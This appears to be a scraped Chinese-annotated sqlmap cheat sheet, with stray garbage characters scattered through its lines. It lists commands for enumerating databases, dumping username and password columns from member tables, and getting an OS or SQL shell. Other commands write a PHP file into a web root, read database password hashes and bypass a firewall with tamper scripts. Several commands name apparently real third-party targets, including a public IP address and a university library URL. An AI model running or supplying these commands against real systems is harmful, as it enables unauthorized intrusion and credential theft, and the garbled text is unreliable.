/pentest/database/sqlmap# o. l( Q" e6 m0 M7 A0 P
8 i1 P2 V% j+ e& \5 N0 m
update :::::> in the folder after execute following order : svn update
# K9 J; b+ ^0 f, O |6 K1 Q U
+ j6 J; f) s: q. L: xsqlmap.py -r 1.txt --current-db
' W7 C: J, Z) j9 M2 |7 u' B1 F: M8 `; W0 E: @
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
- N7 u: |! g: M: A1 l/ y; C0 U; X& ~( {: p
; x/ L+ p7 h, y0 ^# `==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 3 j5 ^0 E, U8 Y, n6 Q* S: I# u
猜解数据库! _4 m! D# h: t5 W2 z+ L% z) r8 H
./sqlmap.py -u "injection-url" --dbs: b/ y( T+ I i1 A5 V3 D- D- @
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
; P8 c( @6 n+ t! h" R H- ]( H$ P7 A+ w# s' q
猜解表名
. X* L. \# x* o. a I3 f! F./sqlmap.py -u "injection-url" -D database_name --tables7 l+ ^5 L4 |. E' b" T6 `
# u& L9 a2 x: d+ Z i, Q. msqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"* h& h& o e. h( F
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" / }9 l% Y" R# P9 g
1 v( e9 J; ?2 n; d3 [" w& c$ I' {' }
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump* o$ j2 }9 u% X5 x) x
. T3 \9 d9 K7 X$ w, l
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"2 V* I6 i- d0 R) \6 m0 Z5 H
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"& I E5 `. Y' b5 c9 j3 O4 j
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" e1 @3 b, G, l8 z- N/ x
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"4 X4 C' h* F: ~$ N/ a" y9 V; E4 I
5 f$ Y' d& i6 e9 T' ?( _sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"' e( e+ n# g" c
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"6 c& D h3 F: S6 r1 N0 r
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"/ ]; z+ ]8 r1 `! h/ _0 O0 ?
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py", s7 x9 X. U6 C& t: `" }* k4 [
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
% a- n' w: f7 S% U- \0 w& f% d( t" A6 d7 r4 ?8 m4 q, g# A* F6 u- i
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了& j: A' c# o( y% N& H2 p$ T
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
. l4 F* y5 }! [) S, J* D) x* k: T5 ^
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
% e9 |; A9 }! E3 R5 P( V, P4 G猜解列名1 |: d% j4 f# ]8 ^) X( L) l9 I( D& }
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns+ N6 E; f3 N" [
7 S% L4 a, b6 k- }; fsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
1 G1 m8 V: e8 Asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
& A; ]( [1 Z) U; ?& v: o2 dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"7 g' c% A% H/ S s
. _2 q; i5 z* m- O7 W/ {0 P# B1 L
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
' e. H+ u! l; P& @' j2 @&submit=Go
6 b% {+ Y+ b. m/ p2 q; g猜解值
% a4 }+ i. {$ G; l y5 g9 ~! P./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump: B3 _* `3 E7 ^, X( z9 \9 z7 c
========================================================
. R: l. I# b" B+ m搜索表名中包括mana字符的" a. y$ S: a; c" X! x
/sqlmap.py -u "injection-url" -T mana --search
% @4 O# R& q- |$ v- y5 d8 ~返回一个交互式sql shell3 W- ]5 \1 U; B/ A5 y
/sqlmap.py -u "injection-url" --sql-shell3 ^& F. a$ R* w$ p" N9 q. z
读取指定文件(需权限)7 R0 u! O. Y; i/ @+ I/ t
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
% J' V3 O. W5 o4 C' u7 u2 e M查看当前 用户 及 数据库 # [' p" m6 D7 H
/sqlmap.py -u "injection-url" --current-user --current-db
, G7 V# s! V8 `5 d本地文件 写入 远程目标绝对路径 i6 o& w; P% ]7 o4 A
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
# D- X# H2 D9 N: E% I, I b! psqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" & {6 Y7 J0 w9 d: A
6 V9 g- z# G6 i% {& D
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
! g9 v4 M8 k" k% l6 u查看某用的权限
+ w1 B r6 L& _, K* a: p# G$ n* Z/sqlmap.py -u "injection-url" --privileges -U root B- n+ {0 H/ q2 M
查看当前用户是否为dba
1 f+ W7 G- f E: e. z& Z/sqlmap.py -u "injection-url" --is-dba6 q% }+ U- g0 V. F9 C( F0 O# M
读取所有数据库用户或指定数据库用户的密码4 l' f' Y+ R: o) R/ o. G7 ?
sqlmap.py -r 1.txt --users --passwords
; L; G) _, |. z6 v8 Ksqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 6 C$ F6 Z$ A+ t" J
2 d" c& J, \9 j9 p% ^$ N5 S7 @/sqlmap.py -u "injection-url" --passwords -U root, { O. a1 G6 x9 N8 a
2 Z5 |1 Q5 }3 k% q3 r--start&&--stop 与 --first&&--last 的区别
' R$ s) l( H0 p3 c$ e& o/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
: v* M1 ]6 Q* [! R: h* ~, L7 N B5 q& \+ a* m1 y) l6 e! p8 w
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)0 a3 E8 d4 H( E1 X9 x" K$ S) U: u1 p/ g
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
, T7 t/ c, s2 p* N5 R/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
+ u/ W3 u6 K! g& f$ R8 k
0 a; ]' Y6 U' I. i3 g/ [$ ?+ g$ U执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)0 P, E/ \( Z! X* f% U" X5 h! \
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"9 q- c, ]+ Z1 g+ |2 Q
# F. G) [% R U2 M |